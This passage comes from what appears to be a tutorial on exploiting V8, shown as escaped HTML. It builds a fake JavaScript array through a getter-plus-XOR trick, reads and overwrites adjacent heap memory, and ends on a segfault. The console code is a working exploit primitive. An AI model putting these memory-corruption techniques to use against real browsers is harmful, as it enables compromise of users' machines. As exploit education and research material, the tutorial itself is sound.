[&lt;span class=&#34;jsConValOut&#34;&gt;5.432309235825e-312&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;3.881131231533e-311&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;5.432310575454e-312&lt;/span&gt;]&lt;/i&gt;&lt;/summary&gt;&#xD;&#xA;&lt;div style=&#34;padding-left: 24px&#34;&gt;&#xD;&#xA;&#x9;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;0&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x00000100000008a9&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&#x9;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;1&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x00000725001cb7c5&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&#x9;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;2&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x0000010000042bd1&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;/details&gt;&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;So our original real array starts at &lt;code&gt;0xa3800042be8&lt;/code&gt;, and we have our cool new fake array in the memory at &lt;code&gt;0xa3800042bd8&lt;/code&gt;, so what we can do now is put our &lt;em&gt;real array&lt;/em&gt; in a third array with the evil getter trick, and then XOR the pointer to make it point to the fake array.&lt;/p&gt;&#xA;&lt;div class=&#34;jsConsole&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;arr3&lt;/span&gt; = [&lt;span class=&#34;jsConValIn&#34;&gt;1.1&lt;/span&gt;]&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;evil&lt;/span&gt; = {&lt;span style=&#34;white-space: pre-wrap&#34;&gt;&#xD;&#xA;     &lt;span class=&#34;jsConProp&#34;&gt;valueOf&lt;/span&gt;: () =&gt; {&#xD;&#xA;       &lt;span class=&#34;jsConVar&#34;&gt;arr3&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;;&#xD;&#xA;       &lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;realArray&lt;/span&gt; = &lt;span class=&#34;jsConValIn&#34;&gt;0xa3800042be8n&lt;/span&gt;;&#xD;&#xA;       &lt;span class=&#34;jsConKw&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;jsConIdx&#34;&gt;fakeArray&lt;/span&gt; = &lt;span class=&#34;jsConValIn&#34;&gt;0xa3800042bd8n&lt;/span&gt;;&#xD;&#xA;       &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConVar&#34;&gt;Number&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;realArray&lt;/span&gt; ^ &lt;span class=&#34;jsConVar&#34;&gt;fakeArray&lt;/span&gt;);&#xD;&#xA;     }&#xD;&#xA;   }&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;arr3&lt;/span&gt;.&lt;span class=&#34;jsConProp&#34;&gt;xor&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;evil&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;arr3&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;]&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 8,11 4,7 8,3 8.85,3.85 5.7,7 8.85,10.15 Z&#34;/&gt;&lt;circle cx=&#34;10&#34; cy=&#34;7&#34; r=&#34;1&#34;/&gt;&lt;/svg&gt;&lt;details&gt;&lt;summary&gt;&lt;i&gt;(128) [&lt;span class=&#34;jsConValOut&#34;&gt;3.881131231533e-311&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;5.432310575454e-312&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;3.881131231533e-311&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;1.27321098e-313&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;3.8055412126965747e-305&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;3.3267913058887005e+257&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;2.0317942745751732e-110&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;1.2799112976201688e-152&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;7.632660997817179e-24&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;4.48268017468496e+217&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;2.502521315148532e+262&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;8.764262388001722e+252&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;3.031075143147101e-152&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;5.328171041616219e+233&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;5.5199981093443586e+228&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;7.495112028514905e+247&lt;/span&gt;, (112&amp;nbsp;more)...]&lt;/i&gt;&lt;/summary&gt;&#xD;&#xA;&lt;div style=&#34;padding-left: 24px&#34;&gt;&#xD;&#xA;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;0&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x00000725001cb7c5&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;1&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x0000010000042bd1&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;2&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x00000725001cb7c5&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;3&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x0000000600042bc9&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;4&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x00bab9320000010d&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;5&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x7566280a00000adc&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;6&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x29286e6f6974636e&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;7&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x20657375220a7b20&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;8&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x3b22746369727473&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;9&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x6d2041202f2f0a0a&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;10&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x76696e752065726f&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;11&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x7473206c61737265&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;12&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x20796669676e6972&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;13&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x7075732074616874&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;14&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x6f6d207374726f70&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;15&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x7365707974206572&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&lt;span style=&#34;padding-left: 4px&#34;&gt;&lt;i&gt;(112&amp;nbsp;more)...&lt;/i&gt;&lt;br/&gt;&lt;/span&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;/details&gt;&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;Wow! That fake array of ours has lots of cool data that we didn&amp;rsquo;t put there. Let&amp;rsquo;s see what it looks like in the memory.&lt;/p&gt;&#xA;&lt;div class=&#34;jsMem&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsMemTitle&#34;&gt;V8&lt;div class=&#34;jsMemSep&#34;&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsMemDbg&#34;&gt;DebugPrint: &lt;span class=&#34;jsMemVar0&#34;&gt;0xa3800042bd9&lt;/span&gt;: [JSArray]&#xD;&#xA; - map: &lt;span class=&#34;jsMemVar2&#34;&gt;0x0a38001cb7c5&lt;/span&gt; &amp;lt;Map[16](&lt;span class=&#34;jsMemVar2&#34;&gt;PACKED_DOUBLE_ELEMENTS&lt;/span&gt;)&amp;gt; [FastProperties]&#xD;&#xA; - prototype: 0x0a38001cb11d &amp;lt;JSArray[0]&amp;gt;&#xD;&#xA; - elements: &lt;span class=&#34;jsMemVar4&#34;&gt;0x0a3800042bd1&lt;/span&gt; &amp;lt;&lt;span class=&#34;jsMemVar6&#34;&gt;FixedDoubleArray&lt;/span&gt;[&lt;span class=&#34;jsMemVar5&#34;&gt;128&lt;/span&gt;]&amp;gt; [PACKED_DOUBLE_ELEMENTS]&#xD;&#xA; - length: &lt;span class=&#34;jsMemVar18&#34;&gt;128&lt;/span&gt;&#xD;&#xA; - properties: &lt;span class=&#34;jsMemVar16&#34;&gt;0x0a3800000725&lt;/span&gt; &amp;lt;FixedArray[0]&amp;gt;&#xD;&#xA; - All own properties (excluding elements): {&#xD;&#xA;    0xa3800000d99: [String] in ReadOnlySpace: #length: 0x0a3800025f85 &amp;lt;AccessorInfo name= 0x0a3800000d99 &amp;lt;String[6]: #length&amp;gt;, data= 0x0a3800000069 &amp;lt;undefined&amp;gt;&amp;gt; (const accessor descriptor, attrs: [W__]), location: descriptor&#xD;&#xA; }&#xD;&#xA; - elements: &lt;span class=&#34;jsMemVar4&#34;&gt;0x0a3800042bd1&lt;/span&gt; &amp;lt;&lt;span class=&#34;jsMemVar6&#34;&gt;FixedDoubleArray&lt;/span&gt;[&lt;span class=&#34;jsMemVar5&#34;&gt;128&lt;/span&gt;]&amp;gt; {&#xD;&#xA;           0: &lt;span class=&#34;jsMemVar16 jsMemVar2&#34;&gt;3.88113e-311&lt;/span&gt;&#xD;&#xA;           1: &lt;span class=&#34;jsMemVar18 jsMemVar4&#34;&gt;5.43231e-312&lt;/span&gt;&#xD;&#xA;           2: &lt;span class=&#34;jsMemVar7&#34;&gt;3.88113e-311&lt;/span&gt;&#xD;&#xA;           3: &lt;span class=&#34;jsMemVar8&#34;&gt;1.27321e-313&lt;/span&gt;&#xD;&#xA;           4: &lt;span class=&#34;jsMemVar9&#34;&gt;3.80554e-305&lt;/span&gt;&#xD;&#xA;           5: &lt;span class=&#34;jsMemVar10&#34;&gt;3.32679e+257&lt;/span&gt;&#xD;&#xA;           6: &lt;span class=&#34;jsMemVar11&#34;&gt;2.03179e-110&lt;/span&gt;&#xD;&#xA;           7: &lt;span class=&#34;jsMemVar12&#34;&gt;1.27991e-152&lt;/span&gt;&#xD;&#xA;           8: &lt;span class=&#34;jsMemVar13&#34;&gt;7.63266e-24&lt;/span&gt;&#xD;&#xA;           9: &lt;span class=&#34;jsMemVar14&#34;&gt;4.48268e+217&lt;/span&gt;&#xD;&#xA;          10: &lt;span class=&#34;jsMemVar15&#34;&gt;2.50252e+262&lt;/span&gt;&#xD;&#xA;          11: &lt;span class=&#34;jsMemVar1&#34;&gt;8.76426e+252&lt;/span&gt;&#xD;&#xA;          12: &lt;span class=&#34;jsMemVar17&#34;&gt;3.03108e-152&lt;/span&gt;&#xD;&#xA;          13: &lt;span class=&#34;jsMemVar3&#34;&gt;5.32817e+233&lt;/span&gt;&#xD;&#xA;          14: &lt;span class=&#34;jsMemVar19&#34;&gt;5.52e+228&lt;/span&gt;&#xD;&#xA;          15: &lt;span class=&#34;jsMemVar20&#34;&gt;7.49511e+247&lt;/span&gt;&#xD;&#xA;          ...&#xD;&#xA;}&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;jsMemTitle&#34;&gt;GDB&lt;div class=&#34;jsMemSep&#34;&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsMemHex&#34;&gt;0xa3800042bb8: 0x00000004000005e5&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0xa3800042bc0:&lt;/span&gt; 0x001d3377020801a4&#xD;&#xA;&lt;span class=&#34;jsMemVar4 over430&#34;&gt;0xa3800042bc8&lt;/span&gt;&lt;span class=&#34;under430&#34;&gt;0xa3800042bc8&lt;/span&gt;: 0x00000006000008a9&lt;span class=&#34;under430 jsMemVar4&#34;&gt;&lt;br&gt;0xa3800042bd0:&lt;/span&gt; 0x&lt;span class=&#34;jsMemVar5&#34;&gt;00000100&lt;/span&gt;&lt;span class=&#34;jsMemVar6&#34;&gt;000008a9&lt;/span&gt;&#xD;&#xA;&lt;span class=&#34;jsMemVar0&#34;&gt;0xa3800042bd8&lt;/span&gt;: 0x&lt;span class=&#34;jsMemVar16&#34;&gt;00000725&lt;/span&gt;&lt;span class=&#34;jsMemVar2&#34;&gt;001cb7c5&lt;/span&gt;&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0xa3800042be0:&lt;/span&gt; 0x&lt;span class=&#34;jsMemVar18&#34;&gt;00000100&lt;/span&gt;&lt;span class=&#34;jsMemVar4&#34;&gt;00042bd1&lt;/span&gt;&#xD;&#xA;0xa3800042be8: 0x&lt;span class=&#34;jsMemVar7&#34;&gt;00000725001cb7c5&lt;/span&gt;&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0xa3800042bf0:&lt;/span&gt; 0x&lt;span class=&#34;jsMemVar8&#34;&gt;0000000600042bc9&lt;/span&gt;&#xD;&#xA;0xa3800042bf8: 0x&lt;span class=&#34;jsMemVar9&#34;&gt;00bab9320000010d&lt;/span&gt;&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0xa3800042c00:&lt;/span&gt; 0x&lt;span class=&#34;jsMemVar10&#34;&gt;7566280a00000adc&lt;/span&gt;&#xD;&#xA;0xa3800042c08: 0x&lt;span class=&#34;jsMemVar11&#34;&gt;29286e6f6974636e&lt;/span&gt;&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0xa3800042c10:&lt;/span&gt; 0x&lt;span class=&#34;jsMemVar12&#34;&gt;20657375220a7b20&lt;/span&gt;&#xD;&#xA;0xa3800042c18: 0x&lt;span class=&#34;jsMemVar13&#34;&gt;3b22746369727473&lt;/span&gt;&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0xa3800042c20:&lt;/span&gt; 0x&lt;span class=&#34;jsMemVar14&#34;&gt;6d2041202f2f0a0a&lt;/span&gt;&#xD;&#xA;0xa3800042c28: 0x&lt;span class=&#34;jsMemVar15&#34;&gt;76696e752065726f&lt;/span&gt;&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0xa3800042c30:&lt;/span&gt; 0x&lt;span class=&#34;jsMemVar1&#34;&gt;7473206c61737265&lt;/span&gt;&#xD;&#xA;0xa3800042c38: 0x&lt;span class=&#34;jsMemVar17&#34;&gt;20796669676e6972&lt;/span&gt;&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0xa3800042c40:&lt;/span&gt; 0x&lt;span class=&#34;jsMemVar3&#34;&gt;7075732074616874&lt;/span&gt;&#xD;&#xA;0xa3800042c48: 0x&lt;span class=&#34;jsMemVar19&#34;&gt;6f6d207374726f70&lt;/span&gt;&lt;span class=&#34;under430&#34;&gt;&lt;br&gt;0xa3800042c50:&lt;/span&gt; 0x&lt;span class=&#34;jsMemVar20&#34;&gt;7365707974206572&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;That&amp;rsquo;s so cool!! It really is just picking up the next 1024 bytes of memory as doubles, letting us see it all by just looking at the array. In fact, we can even see the &lt;span class=&#34;jsMemVarExt7 jsMemVarExt8&#34;&gt;original &lt;code&gt;arr&lt;/code&gt; array&amp;rsquo;s header&lt;/span&gt; in elements &lt;span class=&#34;jsMemVarExt7&#34;&gt;2&lt;/span&gt; and &lt;span class=&#34;jsMemVarExt8&#34;&gt;3&lt;/span&gt;, let&amp;rsquo;s try to read it out from within JavaScript. We&amp;rsquo;ll want a function to turn floats back into hex, for that we can just create the reverse of the &lt;code&gt;i2f&lt;/code&gt; function from earlier.&lt;/p&gt;&#xA;&lt;div class=&#34;jsConsole&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;f2i&lt;/span&gt; = &#xD;&#xA;&#x9;&#x9;(&lt;span class=&#34;jsConIdx&#34;&gt;f&lt;/span&gt;) =&gt; {&lt;span style=&#34;white-space: pre-wrap&#34;&gt;&#xD;&#xA;     &lt;span class=&#34;jsConVar&#34;&gt;floatBuffer&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;f&lt;/span&gt;;&#xD;&#xA;     &lt;span class=&#34;jsConKw&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;jsConVar0&#34;&gt;int64Buffer&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;];&#xD;&#xA;   }&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;arr3&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;][&lt;span class=&#34;jsConValIn&#34;&gt;2&lt;/span&gt;]&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 8,11 4,7 8,3 8.85,3.85 5.7,7 8.85,10.15 Z&#34;/&gt;&lt;circle cx=&#34;10&#34; cy=&#34;7&#34; r=&#34;1&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConValOut&#34;&gt;3.881131231533e-311&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;f2i&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;arr3&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;][&lt;span class=&#34;jsConValIn&#34;&gt;2&lt;/span&gt;])&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 8,11 4,7 8,3 8.85,3.85 5.7,7 8.85,10.15 Z&#34;/&gt;&lt;circle cx=&#34;10&#34; cy=&#34;7&#34; r=&#34;1&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConValOut&#34;&gt;7855497066437n&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;f2i&lt;/span&gt;(&lt;span class=&#34;jsConVar&#34;&gt;arr3&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;][&lt;span class=&#34;jsConValIn&#34;&gt;2&lt;/span&gt;]).&lt;span class=&#34;jsConProp&#34;&gt;toString&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;16&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 8,11 4,7 8,3 8.85,3.85 5.7,7 8.85,10.15 Z&#34;/&gt;&lt;circle cx=&#34;10&#34; cy=&#34;7&#34; r=&#34;1&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConStrOut&#34;&gt;&#39;725001cb7c5&#39;&lt;/span&gt; &lt;span class=&#34;jsConNull&#34;&gt;// 0x00000725001cb7c5&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;Exciting! Let&amp;rsquo;s overwrite &lt;code&gt;arr&lt;/code&gt;&amp;rsquo;s header with some random stuff and see what happens.&lt;/p&gt;&#xA;&lt;div class=&#34;jsConsole&#34;&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 8,11 4,7 8,3 8.85,3.85 5.7,7 8.85,10.15 Z&#34;/&gt;&lt;circle cx=&#34;10&#34; cy=&#34;7&#34; r=&#34;1&#34;/&gt;&lt;/svg&gt;&lt;details&gt;&lt;summary&gt;&lt;i&gt;(3) [&lt;span class=&#34;jsConValOut&#34;&gt;5.432309235825e-312&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;3.881131231533e-311&lt;/span&gt;, &lt;span class=&#34;jsConValOut&#34;&gt;5.432310575454e-312&lt;/span&gt;]&lt;/i&gt;&lt;/summary&gt;&#xD;&#xA;&lt;div style=&#34;padding-left: 24px&#34;&gt;&#xD;&#xA;&#x9;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;0&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x00000100000008a9&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&#x9;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;1&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x00000725001cb7c5&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&#x9;&lt;span class=&#34;jsConIdx jsConB&#34;&gt;2&lt;/span&gt;: &lt;span class=&#34;jsConValOut&#34;&gt;0x0000010000042bd1&lt;/span&gt;&lt;br/&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&#x9;&lt;/details&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;arr3&lt;/span&gt;[&lt;span class=&#34;jsConValIn&#34;&gt;0&lt;/span&gt;][&lt;span class=&#34;jsConValIn&#34;&gt;2&lt;/span&gt;] = &lt;span class=&#34;jsConVar&#34;&gt;i2f&lt;/span&gt;(&lt;span class=&#34;jsConValIn&#34;&gt;0x1337133713371337n&lt;/span&gt;)&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;jsConLine&#34;&gt;&lt;svg class=&#34;jsConIcon&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M 6.4,11 5.55,10.15 8.7,7 5.55,3.85 6.4,3 l 4,4 z&#34;/&gt;&lt;/svg&gt;&lt;span class=&#34;jsConVar&#34;&gt;arr&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;jsConBorder&#34;&gt;&lt;/div&gt;&#xD;&#xA;&lt;div class=&#34;jsConLine jsConTerm&#34;&gt;Received signal 11 SEGV_ACCERR 0a381337133e&#xD;&#xA;==== C stack trace ===============================&#xD;&#xA; [0x555557b9ea23]&#xD;&#xA; [0x555557b9e972]&#xD;&#xA; [0x7ffff7cdae20]&#xD;&#xA; [0x555556d3190b]&#xD;&#xA; [0x555557a12ff6]&#xD;&#xA;[end of stack trace]&#xD;&#xA;Segmentation fault (core dumped)&lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;Whoops, yeah&amp;hellip; there&amp;rsquo;s the rub. The memory we&amp;rsquo;re playing with is rather fragile and randomly changing stuff around is going to end up with a 